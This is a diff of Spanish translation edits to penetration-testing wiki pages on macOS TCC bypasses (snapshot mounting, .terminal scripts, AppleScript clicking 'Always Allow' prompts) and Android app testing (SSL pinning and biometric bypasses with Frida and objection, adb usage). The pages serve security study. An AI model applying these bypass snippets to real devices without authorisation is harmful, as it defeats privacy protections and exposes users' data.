Para más información, consulta el [**informe original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
|
||||
|
||||
### Complementos de Capa de Abstracción de Dispositivos (DAL)
|
||||
### Complementos de Capa de Abstracción de Dispositivo (DAL)
|
||||
|
||||
Las aplicaciones del sistema que abren el flujo de la cámara a través de Core Media I/O (aplicaciones con **`kTCCServiceCamera`**) cargan **en el proceso estos complementos** ubicados en `/Library/CoreMediaIO/Plug-Ins/DAL` (no restringido por SIP).
|
||||
|
||||
@ -382,7 +382,7 @@ Es posible invocar **`open`** incluso mientras está en sandbox
|
||||
|
||||
### Scripts de Terminal
|
||||
|
||||
Es bastante común dar acceso completo al disco **(FDA)**, al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** con ello.
|
||||
Es bastante común otorgar **Acceso Completo al Disco (FDA)**, al menos en computadoras utilizadas por personas técnicas. Y es posible invocar scripts **`.terminal`** con ello.
|
||||
|
||||
Los scripts **`.terminal`** son archivos plist como este con el comando a ejecutar en la clave **`CommandString`**:
|
||||
```xml
|
||||
@ -413,12 +413,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
|
||||
exploit_location]; task.standardOutput = pipe;
|
||||
[task launch];
|
||||
```
|
||||
## Montando
|
||||
## Al montar
|
||||
|
||||
### CVE-2020-9771 - bypass de TCC de mount_apfs y escalada de privilegios
|
||||
|
||||
**Cualquier usuario** (incluso los no privilegiados) puede crear y montar un snapshot de Time Machine y **acceder a TODOS los archivos** de ese snapshot.\
|
||||
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso de **Acceso Completo al Disco** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser concedido por un administrador.
|
||||
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que debe ser concedido por un administrador.
|
||||
```bash
|
||||
# Create snapshot
|
||||
tmutil localsnapshot
|
||||
@ -471,7 +471,7 @@ Como se explica en el [escrito original](https://www.kandji.io/blog/macos-audit-
|
||||
|
||||
La función `DADiskMountWithArgumentsCommon` del marco público `DiskArbitration` realizó las verificaciones de seguridad. Sin embargo, es posible eludirlo llamando directamente a `diskarbitrationd` y, por lo tanto, usar elementos `../` en la ruta y enlaces simbólicos.
|
||||
|
||||
Esto permitió a un atacante realizar montajes arbitrarios en cualquier ubicación, incluso sobre la base de datos TCC debido al derecho `com.apple.private.security.storage-exempt.heritable` de `diskarbitrationd`.
|
||||
Esto permitió a un atacante realizar montajes arbitrarios en cualquier ubicación, incluyendo sobre la base de datos TCC debido al derecho `com.apple.private.security.storage-exempt.heritable` de `diskarbitrationd`.
|
||||
|
||||
### asr
|
||||
|
||||
@ -480,7 +480,7 @@ La herramienta **`/usr/sbin/asr`** permitió copiar todo el disco y montarlo en
|
||||
### Servicios de ubicación
|
||||
|
||||
Hay una tercera base de datos TCC en **`/var/db/locationd/clients.plist`** para indicar los clientes permitidos para **acceder a los servicios de ubicación**.\
|
||||
La carpeta **`/var/db/locationd/` no estaba protegida contra el montaje de DMG** por lo que era posible montar nuestro propio plist.
|
||||
La carpeta **`/var/db/locationd/` no estaba protegida contra el montaje de DMG**, por lo que era posible montar nuestro propio plist.
|
||||
|
||||
## Por aplicaciones de inicio
|
||||
|
||||
@ -496,7 +496,7 @@ En varias ocasiones, los archivos almacenarán información sensible como correo
|
||||
|
||||
## Clics sintéticos
|
||||
|
||||
Esto ya no funciona, pero [**lo hizo en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
Esto ya no funciona, pero [**funcionó en el pasado**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -5,7 +5,7 @@
|
||||
## Apple Scripts
|
||||
|
||||
Es un lenguaje de scripting utilizado para la automatización de tareas **interactuando con procesos remotos**. Facilita bastante **pedir a otros procesos que realicen algunas acciones**. **El malware** puede abusar de estas características para aprovechar funciones exportadas por otros procesos.\
|
||||
Por ejemplo, un malware podría **inyectar código JS arbitrario en las páginas abiertas del navegador**. O **hacer clic automáticamente** en algunos permisos de autorización solicitados al usuario;
|
||||
Por ejemplo, un malware podría **inyectar código JS arbitrario en las páginas abiertas del navegador**. O **hacer clic automáticamente** en algunos permisos permitidos solicitados al usuario;
|
||||
```applescript
|
||||
tell window 1 of process "SecurityAgent"
|
||||
click button "Always Allow" of group 1
|
||||
|
||||
@ -710,7 +710,7 @@ screencapture -V 5 /tmp/screen.mov
|
||||
|
||||
### Accesibilidad
|
||||
|
||||
- **Permiso**: Ninguno
|
||||
- **Derecho**: Ninguno
|
||||
- **TCC**: `kTCCServiceAccessibility`
|
||||
|
||||
Utiliza el privilegio TCC para aceptar el control de Finder presionando enter y eludir TCC de esa manera
|
||||
|
||||
@ -68,7 +68,7 @@ La **examinación de los archivos \_Manifest.xml**_\*\* y \*\*_**strings.xml**\_
|
||||
- **Configuraciones de respaldo**: El atributo `android:allowBackup="false"` debe establecerse explícitamente para aplicaciones que manejan información sensible para prevenir copias de seguridad no autorizadas a través de adb, especialmente cuando la depuración por usb está habilitada.
|
||||
- **Seguridad de red**: Configuraciones de seguridad de red personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) en _res/xml/_ pueden especificar detalles de seguridad como pines de certificado y configuraciones de tráfico HTTP. Un ejemplo es permitir tráfico HTTP para dominios específicos.
|
||||
- **Actividades y servicios exportados**: Identificar actividades y servicios exportados en el manifiesto puede resaltar componentes que podrían ser mal utilizados. Un análisis adicional durante las pruebas dinámicas puede revelar cómo explotar estos componentes.
|
||||
- **Proveedores de contenido y FileProviders**: Proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada.
|
||||
- **Proveedores de contenido y FileProviders**: Los proveedores de contenido expuestos podrían permitir acceso no autorizado o modificación de datos. La configuración de los FileProviders también debe ser examinada.
|
||||
- **Receptores de difusión y esquemas de URL**: Estos componentes podrían ser aprovechados para la explotación, prestando especial atención a cómo se gestionan los esquemas de URL para vulnerabilidades de entrada.
|
||||
- **Versiones de SDK**: Los atributos `minSdkVersion`, `targetSDKVersion` y `maxSdkVersion` indican las versiones de Android soportadas, destacando la importancia de no soportar versiones de Android obsoletas y vulnerables por razones de seguridad.
|
||||
|
||||
@ -87,7 +87,7 @@ tapjacking.md
|
||||
|
||||
### Secuestro de Tareas
|
||||
|
||||
Una **actividad** con el **`launchMode`** configurado como **`singleTask` sin ninguna `taskAffinity`** definida es vulnerable al secuestro de tareas. Esto significa que una **aplicación** puede ser instalada y si se lanza antes que la aplicación real, podría **secuestrar la tarea de la aplicación real** (por lo que el usuario estará interactuando con la **aplicación maliciosa pensando que está usando la real**).
|
||||
Una **actividad** con el **`launchMode`** configurado como **`singleTask` sin ninguna `taskAffinity`** definida es vulnerable al secuestro de tareas. Esto significa que una **aplicación** puede ser instalada y si se lanza antes de la aplicación real, podría **secuestrar la tarea de la aplicación real** (por lo que el usuario estará interactuando con la **aplicación maliciosa pensando que está usando la real**).
|
||||
|
||||
Más información en:
|
||||
|
||||
@ -113,7 +113,7 @@ Al tratar con archivos en **almacenamiento externo**, como tarjetas SD, se deben
|
||||
1. **Accesibilidad**:
|
||||
- Los archivos en almacenamiento externo son **globalmente legibles y escribibles**. Esto significa que cualquier aplicación o usuario puede acceder a estos archivos.
|
||||
2. **Preocupaciones de Seguridad**:
|
||||
- Dada la facilidad de acceso, se recomienda **no almacenar información sensible** en almacenamiento externo.
|
||||
- Dada la facilidad de acceso, se aconseja **no almacenar información sensible** en almacenamiento externo.
|
||||
- El almacenamiento externo puede ser removido o accedido por cualquier aplicación, haciéndolo menos seguro.
|
||||
3. **Manejo de Datos desde Almacenamiento Externo**:
|
||||
- Siempre **realiza validación de entrada** en los datos recuperados del almacenamiento externo. Esto es crucial porque los datos provienen de una fuente no confiable.
|
||||
@ -177,11 +177,11 @@ Lee la siguiente página para aprender cómo acceder fácilmente al código C# d
|
||||
|
||||
### Aplicaciones Superempaquetadas
|
||||
|
||||
Según esta [**entrada de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempaquetado es un algoritmo Meta que comprime el contenido de una aplicación en un solo archivo. El blog habla sobre la posibilidad de crear una aplicación que descomprima este tipo de aplicaciones... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos del sistema de archivos.**
|
||||
Según este [**blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superempaquetado es un algoritmo Meta que comprime el contenido de una aplicación en un solo archivo. El blog habla sobre la posibilidad de crear una aplicación que descomprima este tipo de aplicaciones... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos del sistema de archivos.**
|
||||
|
||||
### Análisis Estático Automatizado de Código
|
||||
|
||||
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad.
|
||||
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** al **escanear** el **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad.
|
||||
|
||||
Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**.
|
||||
|
||||
@ -321,7 +321,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
**NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una actividad, pero debido a [esto](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (versiones de API < 21).
|
||||
|
||||
> [!NOTA]
|
||||
> Ten en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependería de cómo funcione el bypass y qué información esté expuesta.
|
||||
> Ten en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependerá de cómo funcione el bypass y qué información esté expuesta.
|
||||
|
||||
**Filtración de información sensible**
|
||||
|
||||
@ -395,7 +395,7 @@ Un [informe de bug bounty interesante](https://hackerone.com/reports/855618) sob
|
||||
|
||||
#### Verificación de certificados
|
||||
|
||||
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no encriptados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa.
|
||||
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe ser verificada para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles a través de canales no cifrados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y abordar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) proporciona una guía completa.
|
||||
|
||||
#### SSL Pinning
|
||||
|
||||
@ -403,15 +403,15 @@ SSL Pinning es una medida de seguridad donde la aplicación verifica el certific
|
||||
|
||||
#### Inspección de tráfico
|
||||
|
||||
Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico encriptado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Para inspeccionar el tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (por ejemplo, Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar el tráfico encriptado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
Las aplicaciones que apuntan a **API Level 24 y superiores** requieren modificaciones en la Configuración de Seguridad de Red para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar el tráfico cifrado. Para instrucciones sobre cómo modificar la Configuración de Seguridad de Red, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Bypass de SSL Pinning
|
||||
|
||||
Cuando se implementa SSL Pinning, es necesario eludirlo para inspeccionar el tráfico HTTPS. Existen varios métodos disponibles para este propósito:
|
||||
|
||||
- Modificar **automáticamente** el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás root para eludir el SSL Pinning, pero necesitarás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará.
|
||||
- Modificar automáticamente el **apk** para **eludir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). La mejor ventaja de esta opción es que no necesitarás root para eludir el SSL Pinning, pero necesitarás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará.
|
||||
- Podrías usar **Frida** (discutido a continuación) para eludir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- También puedes intentar **eludir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- También puedes intentar **eludir automáticamente SSL Pinning** usando **análisis dinámico de MobSF** (explicado a continuación)
|
||||
@ -425,17 +425,17 @@ Es importante también buscar vulnerabilidades web comunes dentro de la aplicaci
|
||||
|
||||
[Frida](https://www.frida.re) es un kit de herramientas de instrumentación dinámica para desarrolladores, ingenieros de reversa e investigadores de seguridad.\
|
||||
**Puedes acceder a la aplicación en ejecución y enganchar métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar diferentes códigos...**\
|
||||
Si deseas hacer pentesting en aplicaciones de Android, necesitas saber cómo usar Frida.
|
||||
Si deseas hacer pentesting en aplicaciones Android, necesitas saber cómo usar Frida.
|
||||
|
||||
- Aprende a usar Frida: [**Tutorial de Frida**](frida-tutorial/)
|
||||
- Algunas "GUI" para acciones con Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection es excelente para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Ojection es genial para automatizar el uso de Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Puedes encontrar algunos scripts de Frida geniales aquí: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Intenta eludir mecanismos de anti-debugging / anti-frida cargando Frida como se indica en [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (herramienta [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Volcar memoria - Fridump**
|
||||
|
||||
Verifica si la aplicación está almacenando información sensible dentro de la memoria que no debería estar almacenando, como contraseñas o mnemotécnicas.
|
||||
Verifica si la aplicación está almacenando información sensible en la memoria que no debería estar almacenando, como contraseñas o mnemotécnicas.
|
||||
|
||||
Usando [**Fridump3**](https://github.com/rootbsd/fridump3) puedes volcar la memoria de la app con:
|
||||
```bash
|
||||
@ -468,11 +468,11 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
```
|
||||
### **Imágenes de Fondo**
|
||||
|
||||
Cuando pones una aplicación en segundo plano, Android almacena un **instantánea de la aplicación** para que cuando se recupere al primer plano, comience a cargar la imagen antes de la app, por lo que parece que la app se cargó más rápido.
|
||||
Cuando pones una aplicación en segundo plano, Android almacena un **instantáneo de la aplicación** para que cuando se recupere al primer plano, comience a cargar la imagen antes de la aplicación, por lo que parece que la aplicación se cargó más rápido.
|
||||
|
||||
Sin embargo, si esta instantánea contiene **información sensible**, alguien con acceso a la instantánea podría **robar esa información** (ten en cuenta que necesitas root para acceder a ella).
|
||||
Sin embargo, si este instantáneo contiene **información sensible**, alguien con acceso al instantáneo podría **robar esa información** (ten en cuenta que necesitas root para acceder a ella).
|
||||
|
||||
Las instantáneas suelen almacenarse en: **`/data/system_ce/0/snapshots`**
|
||||
Los instantáneos suelen almacenarse en: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android proporciona una forma de **prevenir la captura de pantalla configurando el parámetro de diseño FLAG_SECURE**. Al usar esta bandera, el contenido de la ventana se trata como seguro, impidiendo que aparezca en capturas de pantalla o que se vea en pantallas no seguras.
|
||||
```bash
|
||||
@ -573,7 +573,7 @@ receivers
|
||||
Cuando se captura tráfico http, puedes ver una vista fea del tráfico capturado en "**HTTP(S) Traffic**" en la parte inferior o una vista más agradable en el botón verde "**Start HTTPTools**". Desde la segunda opción, puedes **enviar** las **solicitudes capturadas** a **proxies** como Burp o Owasp ZAP.\
|
||||
Para hacerlo, _enciende Burp -->_ _apaga Intercept --> en MobSB HTTPTools selecciona la solicitud_ --> presiona "**Send to Fuzzer**" --> _selecciona la dirección del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Una vez que termines el análisis dinámico con MobSF, puedes presionar "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades.
|
||||
Una vez que termines el análisis dinámico con MobSF, puedes presionar en "**Start Web API Fuzzer**" para **fuzz http requests** y buscar vulnerabilidades.
|
||||
|
||||
> [!NOTE]
|
||||
> Después de realizar un análisis dinámico con MobSF, la configuración del proxy puede estar mal configurada y no podrás solucionarlo desde la GUI. Puedes corregir la configuración del proxy haciendo:
|
||||
@ -595,7 +595,7 @@ Esta es una **gran herramienta para realizar análisis estático con una GUI**
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad en aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un "Proof-of-Concept" APK desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
Esta herramienta está diseñada para buscar varias **vulnerabilidades relacionadas con la seguridad de aplicaciones Android**, ya sea en **código fuente** o **APKs empaquetados**. La herramienta también es **capaz de crear un APK "Proof-of-Concept" desplegable** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (Actividades expuestas, intents, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -710,7 +710,7 @@ Es un **desofuscador genérico de android.** Simplify **ejecuta virtualmente una
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores**, y otras cosas extrañas. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
APKiD te da información sobre **cómo se hizo un APK**. Identifica muchos **compiladores**, **empaquetadores**, **ofuscadores**, y otras cosas raras. Es [_PEiD_](https://www.aldeid.com/wiki/PEiD) para Android.
|
||||
|
||||
### Manual
|
||||
|
||||
|
||||
@ -70,7 +70,7 @@ adb install -d test.apk # allow version code downgrade
|
||||
|
||||
adb install -p test.apk # partial application install
|
||||
```
|
||||
### adb uninstall \[options] \<PACKAGE>
|
||||
### adb uninstall \[opciones] \<PACKAGE>
|
||||
```bash
|
||||
adb uninstall com.test.app
|
||||
|
||||
@ -196,18 +196,18 @@ Reinicia el daemon adbd con permisos de root. Luego, debes conectarte nuevamente
|
||||
```bash
|
||||
adb sideload <update.zip>
|
||||
```
|
||||
flashear/restaurar paquetes Android update.zip.
|
||||
flashing/restoring Android update.zip packages.
|
||||
|
||||
# Registros
|
||||
# Logs
|
||||
|
||||
## Logcat
|
||||
|
||||
Para **filtrar los mensajes de una sola aplicación**, obtén el PID de la aplicación y usa grep (linux/macos) o findstr (windows) para filtrar la salida de logcat:
|
||||
Para **filtrar los mensajes de solo una aplicación**, obtén el PID de la aplicación y usa grep (linux/macos) o findstr (windows) para filtrar la salida de logcat:
|
||||
```bash
|
||||
adb logcat | grep 4526
|
||||
adb logcat | findstr 4526
|
||||
```
|
||||
### adb logcat \[opción] \[especificaciones-de-filtro]
|
||||
### adb logcat \[opción] \[especificaciones de filtro]
|
||||
```bash
|
||||
adb logcat
|
||||
```
|
||||
@ -269,7 +269,7 @@ adb shell dumpsys activity
|
||||
|
||||
# Respaldo
|
||||
|
||||
Respalda un dispositivo android desde adb.
|
||||
Respalda un dispositivo Android desde adb.
|
||||
```bash
|
||||
adb backup [-apk] [-shared] [-system] [-all] -f file.backup
|
||||
# -apk -- Include APK from Third partie's applications
|
||||
|
||||
@ -11,11 +11,11 @@
|
||||
|
||||
### Separación de UID
|
||||
|
||||
**Cada aplicación se asigna un ID de usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de la aplicación.
|
||||
**Cada aplicación se asigna un ID de Usuario específico**. Esto se hace durante la instalación de la aplicación para que **la aplicación solo pueda interactuar con archivos propiedad de su ID de Usuario o archivos compartidos**. Por lo tanto, solo la propia aplicación, ciertos componentes del SO y el usuario root pueden acceder a los datos de la aplicación.
|
||||
|
||||
### Compartición de UID
|
||||
|
||||
**Dos aplicaciones pueden configurarse para usar el mismo UID**. Esto puede ser útil para compartir información, pero si una de ellas se ve comprometida, los datos de ambas aplicaciones se verán comprometidos. Por eso se **desaconseja** este comportamiento.\
|
||||
**Dos aplicaciones pueden configurarse para usar el mismo UID**. Esto puede ser útil para compartir información, pero si una de ellas se ve comprometida, los datos de ambas aplicaciones se verán comprometidos. Por esta razón, este comportamiento es **desalentado**.\
|
||||
**Para compartir el mismo UID, las aplicaciones deben definir el mismo valor `android:sharedUserId` en sus manifiestos.**
|
||||
|
||||
### Sandboxing
|
||||
@ -35,9 +35,9 @@ Un elemento de permiso tiene tres atributos:
|
||||
- El atributo **permission-group**, que permite agrupar permisos relacionados.
|
||||
- El **nivel de protección** que indica cómo se otorgan los permisos. Hay cuatro tipos:
|
||||
- **Normal**: Se utiliza cuando **no hay amenazas conocidas** para la aplicación. No se **requiere la aprobación del usuario**.
|
||||
- **Peligroso**: Indica que el permiso otorga a la aplicación solicitante un **acceso elevado**. **Se solicita la aprobación de los usuarios**.
|
||||
- **Peligroso**: Indica que el permiso otorga a la aplicación solicitante algún **acceso elevado**. **Se solicita la aprobación de los usuarios**.
|
||||
- **Firma**: Solo **las aplicaciones firmadas por el mismo certificado que el que** exporta el componente pueden recibir permiso. Este es el tipo de protección más fuerte.
|
||||
- **FirmaOSistema**: Solo **las aplicaciones firmadas por el mismo certificado que el que** exporta el componente o **las aplicaciones que se ejecutan con acceso a nivel de sistema** pueden recibir permisos.
|
||||
- **FirmaOSistema**: Solo **las aplicaciones firmadas por el mismo certificado que el que** exporta el componente o **aplicaciones que se ejecutan con acceso a nivel de sistema** pueden recibir permisos.
|
||||
|
||||
## Aplicaciones Preinstaladas
|
||||
|
||||
@ -49,8 +49,8 @@ Estas aplicaciones generalmente se encuentran en los directorios **`/system/app`
|
||||
|
||||
## Rooting
|
||||
|
||||
Para obtener acceso root en un dispositivo Android físico, generalmente necesitas **explotar** 1 o 2 **vulnerabilidades** que suelen ser **específicas** para el **dispositivo** y la **versión**.\
|
||||
Una vez que la explotación ha funcionado, generalmente se copia el binario de Linux `su` en una ubicación especificada en la variable de entorno PATH del usuario, como `/system/xbin`.
|
||||
Para obtener acceso root en un dispositivo Android físico, generalmente necesitas **explotar** 1 o 2 **vulnerabilidades** que suelen ser **específicas** para el **dispositivo** y **versión**.\
|
||||
Una vez que el exploit ha funcionado, generalmente se copia el binario de Linux `su` en una ubicación especificada en la variable de entorno PATH del usuario, como `/system/xbin`.
|
||||
|
||||
Una vez que el binario de su está configurado, se utiliza otra aplicación de Android para interactuar con el binario `su` y **procesar solicitudes de acceso root** como **Superuser** y **SuperSU** (disponible en Google Play Store).
|
||||
|
||||
@ -102,7 +102,7 @@ Para la ingeniería inversa, **Smali** se vuelve crucial. Es la versión legible
|
||||
Los Intents son el medio principal por el cual las aplicaciones Android se comunican entre sus componentes o con otras aplicaciones. Estos objetos de mensaje también pueden transportar datos entre aplicaciones o componentes, similar a cómo se utilizan las solicitudes GET/POST en las comunicaciones HTTP.
|
||||
|
||||
Así que un Intent es básicamente un **mensaje que se pasa entre componentes**. Los Intents **pueden ser dirigidos** a componentes o aplicaciones específicas, **o pueden enviarse sin un destinatario específico**.\
|
||||
Para simplificar, un Intent puede ser utilizado:
|
||||
Para simplificar, el Intent se puede usar:
|
||||
|
||||
- Para iniciar una Actividad, típicamente abriendo una interfaz de usuario para una aplicación
|
||||
- Como transmisiones para informar al sistema y a las aplicaciones sobre cambios
|
||||
@ -112,15 +112,15 @@ Para simplificar, un Intent puede ser utilizado:
|
||||
|
||||
Si es vulnerable, **los Intents pueden ser utilizados para realizar una variedad de ataques**.
|
||||
|
||||
### Filtro de Intents
|
||||
### Filtro de Intent
|
||||
|
||||
**Los Filtros de Intents** definen **cómo una actividad, servicio o Receptor de Transmisión puede interactuar con diferentes tipos de Intents**. Esencialmente, describen las capacidades de estos componentes, como qué acciones pueden realizar o los tipos de transmisiones que pueden procesar. El lugar principal para declarar estos filtros es dentro del **archivo AndroidManifest.xml**, aunque para los Receptores de Transmisión, también es una opción codificarlos.
|
||||
**Los Filtros de Intent** definen **cómo una actividad, servicio o Receptor de Transmisión puede interactuar con diferentes tipos de Intents**. Esencialmente, describen las capacidades de estos componentes, como qué acciones pueden realizar o los tipos de transmisiones que pueden procesar. El lugar principal para declarar estos filtros es dentro del **archivo AndroidManifest.xml**, aunque para los Receptores de Transmisión, también es una opción codificarlos.
|
||||
|
||||
Los Filtros de Intents se componen de categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite que los componentes manejen Intents específicos que coincidan con los criterios declarados.
|
||||
Los Filtros de Intent se componen de categorías, acciones y filtros de datos, con la posibilidad de incluir metadatos adicionales. Esta configuración permite que los componentes manejen Intents específicos que coincidan con los criterios declarados.
|
||||
|
||||
Un aspecto crítico de los componentes de Android (actividades/servicios/proveedores de contenido/receptores de transmisión) es su visibilidad o **estado público**. Un componente se considera público y puede interactuar con otras aplicaciones si está **`exportado`** con un valor de **`true`** o si se declara un Filtro de Intent para él en el manifiesto. Sin embargo, hay una forma para que los desarrolladores mantengan explícitamente estos componentes privados, asegurando que no interactúen con otras aplicaciones de manera no intencionada. Esto se logra configurando el atributo **`exported`** a **`false`** en sus definiciones de manifiesto.
|
||||
Un aspecto crítico de los componentes de Android (actividades/servicios/proveedores de contenido/receptores de transmisión) es su visibilidad o **estado público**. Un componente se considera público y puede interactuar con otras aplicaciones si está **`exportado`** con un valor de **`true`** o si se declara un Filtro de Intent para él en el manifiesto. Sin embargo, hay una manera para que los desarrolladores mantengan explícitamente estos componentes privados, asegurando que no interactúen con otras aplicaciones de manera no intencionada. Esto se logra configurando el atributo **`exported`** a **`false`** en sus definiciones de manifiesto.
|
||||
|
||||
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** puede configurarse para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, añadiendo una capa adicional de seguridad y control sobre quién puede interactuar con él.
|
||||
Además, los desarrolladores tienen la opción de asegurar aún más el acceso a estos componentes al requerir permisos específicos. El atributo **`permission`** se puede establecer para hacer cumplir que solo las aplicaciones con el permiso designado puedan acceder al componente, añadiendo una capa adicional de seguridad y control sobre quién puede interactuar con él.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
@ -185,7 +185,7 @@ Si encuentra funciones que contengan la palabra "sticky" como **`sendStickyBroad
|
||||
|
||||
En las aplicaciones de Android, **deep links** se utilizan para iniciar una acción (Intent) directamente a través de una URL. Esto se hace declarando un **esquema de URL** específico dentro de una actividad. Cuando un dispositivo Android intenta **acceder a una URL con este esquema**, se lanza la actividad especificada dentro de la aplicación.
|
||||
|
||||
El esquema debe ser declarado en el archivo **`AndroidManifest.xml`**:
|
||||
